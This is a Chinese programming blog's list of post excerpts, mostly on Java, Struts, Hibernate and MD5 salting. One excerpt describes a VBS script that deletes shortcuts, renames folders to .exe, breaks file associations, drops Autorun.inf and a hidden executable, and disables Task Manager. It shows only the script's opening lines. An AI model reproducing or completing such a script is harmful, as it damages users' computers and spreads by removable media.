The type com.sun.star.lang.XEventListener cannot be resolved. It is indirectly referenced from required .class files
摘要:异常:The type com.sun.star.lang.XEventListener cannot be resolved. It is indirectly referenced from required .class files在导入jar包时,出现次错误。点击提示,提示你要修改build path。出错原因:粘贴复制其他项目中lib下的jar文件到自己的项目lib下时,build path没有相应的随之改变,所以会报错说找不到。解决办法:打开config build path。。。,将copy的jar文件,在这里重新再导入一次即可。
阅读全文
java实现链表(转)
摘要:java实现链表2010-03-12 17:27:08| 分类: JAVA笔记 | 标签: |字号大中小订阅(1)简单链表 Java代码 1. package ChapterFive; 2. 3. class Link<E> { 4. 5. public E data; 6. 7. public Link<E> next; 8. 9. public Link(E data) { 10. this.data = data; 11. } 12. } 13. 14. class LinkList<E> { 15. 16. public Link<E>
阅读全文
java -verbose[vɜː'bəʊs] adj. 冗长的;啰嗦的
摘要:java -verbose[:class|gc|jni] 在输出设备上显示虚拟机运行信息。1.java -verbose:class在程序运行的时候究竟会有多少类被加载呢,一个简单程序会加载上百个类的!你可以用verbose:class来监视,在命令行输入java -verbose:class XXX (XXX为程序名)你会在控制台看到加载的类的情况。verbose和verbose:class含义相同,输出虚拟机装入的类的信息,显示的信息格式如下: [Loaded java.io.FilePermission$1 from shared objects file] 当虚拟机报告类找不到或类冲突
阅读全文
dao层的查询、删除语句
摘要:public abstract class BaseHibernateDao<E, PK extends Serializable> extends HibernateDaoSupport implementsEntityDao<E, PK> {public List<DocumentUser> getByDocTransferId(Long id) { //1.String hql = "from DocumentUser where doctransferId=" + id; return this.getHibernateTempl
阅读全文
MANIFEST.MF内容属性名详细解释
摘要:MANIFEST.MF 打开Java的JAR文件我们经常可以看到文件中包含着一个META-INF目录,这个目录下会有一些文件,其中必有一个MANIFEST.MF,这个文件描述了该Jar文件的很多信息,下面将详细介绍MANIFEST.MF文件的内容,先来看struts.jar中包含的MANIFEST.MF文件内容: Manifest-Version: 1.0 Created-By: Apache Ant 1.5.1 Extension-Name: Struts Framework Specification-Title: Struts Framework Specification-...
阅读全文
Java中static、final用法小结
摘要:Java中static、final用法小结2010-08-03 13:27:00| 分类: java学习 | 标签: |字号大中小订阅一、final1.final变量: 当你在类中定义变量时,在其前面加上final关键字,那便是说,这个变量一旦被初始化便不可改变,这里不可改变的意思对基本类型来说是其值不可变,而对于对象变量来说其引用不可再变。其初始化可以在两个地方,一是其定义处,也就是说在final变量定义时直接给其赋值,二是在构造函数中。这两个地方只能选其一,要么在定义时给值,要么在构造函数中给值,不能同时既在定义时给了值,又在构造函数中给另外的值。 当函数参数为final类型时,你可以读取
阅读全文
java中静态代码块的用法 static用法详解 类的加载顺序
摘要:java中静态代码块的用法 static用法详解(一)java 静态代码块 静态方法区别 一般情况下,如果有些代码必须在项目启动的时候就执行的时候,需要使用静态代码块,这种代码是主动执行的;需要在项目启动的时候就初始化,在不创建对象的情况下,其他程序来调用的时候,需要使用静态方法,这种代码是被动执行的. 静态方法在类加载的时候 就已经加载 可以用类名直接调用 比如main方法就必须是静态的 这是程序入口 两者的区别就是:静态代码块是自动执行的; 静态方法是被调用的时候才执行的.静态方法 (1)在Java里,可以定义一个不需要创建对象的方法,这种方法就是静态方法。要实现这样的效果,只需要在类中定
阅读全文
spring struts2 ibatis框架整合开发
摘要:spring struts2 ibatis框架整合开发2011年07月26日15:42 来源:程雨轩的博客 作者:程雨轩 编辑:胡铭娅 评论:2条 【IT168 技术】这里主要介绍一下spring2.5+struts+ibatis2.3.4所需要的jar包文件。 spring所需包:Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->dist\spring.jar //spring核心包lib\jakarta-commons\commons-lo
阅读全文
XsqlFilterResult----动态生成sql语句的类,过滤一些为空的查询条件
摘要:DAO XsqlBuilder用于可以动态构造sql语句,避免在构造sql时使用过多的 if 判断,与SafeSqlProcesser集成提供防止sql注入攻击,与DataModifier集成完成数据类型的转换 动态构造sql示例: Java代码 String xsql = "select * from user where 1=1 /~ and username = {username} ~/ /~ and password = {password} ~/ /~ and age = [age] ~/ /~ and sex = [sex] ~/" Map filters =
阅读全文
一个vbs小程序
摘要:简单介绍一下功能: 1.桌面几乎全部快捷方式被删除 2.所有文件夹被重名名为文件夹名.exe 3.几乎所有文件关联失效 4.根目录下生成"Autorun.inf"文件; 5.根目录下生成"fun.xls.exe"文件(系统隐藏文件,必须去掉隐藏才能看见); 6.运行后自动删除自己; 7.每隔1分钟运行一次; 8.禁用任务管理器。 代码如下,将其存入记事本中,改后缀名为vbs 【 On Error Resume NextSet fso=CreateObject("Scripting.FileSystemObject")Set Cx=fs
阅读全文
struts2 文件上传 中的空指针问题
摘要:struts2 文件上传的关键地方是定义文件的变量。即红色文字标注的地方。要一一对应上,即可。文件上传页面中,包含两个表单域,文件标题和文件浏览域——当然,为了能完成文件上传,我们应该将这两个表单域所在表单的enctype属性设置为multipart/form-data。该页面的代码如下所示: <html xmlns=" " target=_blank _extended="true">http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="C
阅读全文
如何截取字符串
摘要:需求,把"01:大汽车",分成01和大汽车有两种做法:一是substringJava代码 package test; publicclass substringTest { publicstaticvoid main(String args[]) { String N = "01:大汽车"; String L=""; String R=""; int k= N.length(); for (int i = 0; i < N.length(); i++) { if (N.substring(i, i + 1).
阅读全文
md5密码加盐
摘要:http://www.blogjava.net/heyang/archive/2010/11/28/339233.html按:以下还是炒冷饭,如果您对加盐了解就不用往下看了,以免浪费宝贵时间。 如果不了解下文部分细节的话,您可以参考这篇文章:使用MD5对存放在数据库中用户密码进行保护 直接对重要数据进行MD5处理后,反向解密确实难度很大,但还是可以找出破绽的,请看下图: (图片不能显示就文字说明一下) 例如:两个人或多个人的密码相同,通过md5加密后保存会得到相同的结果。破一个就可以破一片的密码。如果名为李自成的用户可以查看数据库,那么他可以观察到自己的密码和别人的密码加密后的结果都是一样,那
阅读全文
serialVersionUID的作用
摘要:serialVersionUID的作用 简单来说,Java的序列化机制是通过在运行时判断类的serialVersionUID来验证版本一致性的。在进行反序列化时,JVM会把传来的字节流中的serialVersionUID与本地相应实体(类)的serialVersionUID进行比较,如果相同就认为是
阅读全文